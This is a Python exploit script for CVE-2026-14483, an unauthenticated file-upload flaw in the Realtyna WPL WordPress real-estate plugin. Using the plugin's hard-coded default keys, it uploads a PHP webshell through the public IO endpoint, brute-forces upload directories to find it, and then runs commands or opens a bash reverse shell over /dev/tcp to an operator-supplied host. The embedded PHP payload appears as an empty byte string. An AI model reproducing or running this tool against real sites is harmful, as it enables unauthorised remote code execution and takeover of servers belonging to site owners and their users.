#!/usr/bin/env python3 """ CVE-2026-14483 — Realtyna WPL / Organic IDX unauthenticated arbitrary file upload -> RCE. The plugin (real-estate-listing-realtyna-wpl <= 5.2.0) registers an "I/O service" on the public WordPress `init` hook, reachable unauthenticated at the site root. The only gate is a pair of STATIC hard-coded default keys shipped in the plugin's migrations (identical on every install), with io_status enabled by default. The `set_property` command (libraries/io/mobile_application/set_property.php) saves the uploaded `file[]` with move_uploaded_file and NO extension/MIME check, so a .php webshell lands in wp-content/uploads/WPL//. The client filename must start with `image_` (the prefix is stripped). Fixed in 5.3.0 (the vulnerable unauthenticated command was removed). Runs as www-data. This tool uploads a webshell, then brute-forces the small property-id directory to find it and runs a command (or a reverse shell). Usage: python3 exploit.py http://10.10.10.10/ -c id python3 exploit.py http://10.10.10.10/ --shell 10.10.14.5:4444 """ import argparse import sys import time import urllib.error import urllib.parse import urllib.request PUBLIC_KEY = "U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w" # plugin default (same on every install) PRIVATE_KEY = "Eft76bdh0o2uyhJkbG3T" # plugin default BOUNDARY = "----wpl14483boundary" MARKER = "WPLRCE_OK" def _get(url, timeout=15): try: r = urllib.request.urlopen(url, timeout=timeout) return r.status, r.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", "replace") except Exception: return 0, "" def upload(base, pub, priv, shell_name, php): qs = urllib.parse.urlencode({ "wplview": "io", "wplformat": "io", "public_key": pub, "private_key": priv, "cmd": "set_property", "commands_directory": "mobile_application", "user_id": "1", }) url = base.rstrip("/") + "/?" + qs body = ( f"--{BOUNDARY}\r\n" f'Content-Disposition: form-data; name="file[]"; filename="image_{shell_name}"\r\n' f"Content-Type: application/octet-stream\r\n\r\n" ).encode() + php + f"\r\n--{BOUNDARY}--\r\n".encode() req = urllib.request.Request(url, data=body, method="POST") req.add_header("Content-Type", f"multipart/form-data; boundary={BOUNDARY}") try: r = urllib.request.urlopen(req, timeout=30) return r.status, r.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", "replace") def find_shell(base, shell_name, max_pid=80): q = urllib.parse.urlencode({"c": "echo " + MARKER}) for pid in range(1, max_pid + 1): url = "%s/wp-content/uploads/WPL/%d/%s?%s" % (base.rstrip("/"), pid, shell_name, q) st, body = _get(url) if st == 200 and MARKER in body: return url.split("?")[0] return None def main(): ap = argparse.ArgumentParser(description="Realtyna WPL CVE-2026-14483 unauth upload RCE") ap.add_argument("target", help="base URL, e.g. http://10.10.10.10/") ap.add_argument("--public-key", default=PUBLIC_KEY) ap.add_argument("--private-key", default=PRIVATE_KEY) g = ap.add_mutually_exclusive_group(required=True) g.add_argument("-c", "--cmd", help="run a command via the webshell and print output") g.add_argument("--shell", metavar="HOST:PORT", help="reverse shell to HOST:PORT") args = ap.parse_args() shell_name = "a%d.php" % int(time.time()) php = b"" print("[*] uploading webshell image_%s via the WPL IO endpoint" % shell_name) st, body = upload(args.target, args.public_key, args.private_key, shell_name, php) print("[*] upload HTTP %s %s" % (st, body[:120].replace("\n", " "))) print("[*] locating the webshell (enumerating property ids)...") shell_url = find_shell(args.target, shell_name) if not shell_url: sys.exit("[-] webshell not found — check the keys / that WPL is active and uploads is web-served") print("[+] webshell: %s" % shell_url) if args.shell: host, _, port = args.shell.partition(":") rev = "setsid bash -c 'bash -i >& /dev/tcp/%s/%s 0>&1' >/dev/null 2>&1 &" % (host, int(port)) print("[*] triggering reverse shell -> %s:%s (start your listener first)" % (host, port)) _get(shell_url + "?c=" + urllib.parse.quote(rev)) print("[+] sent") else: st, out = _get(shell_url + "?c=" + urllib.parse.quote(args.cmd)) print("[+] output:\n" + out) if __name__ == "__main__": main()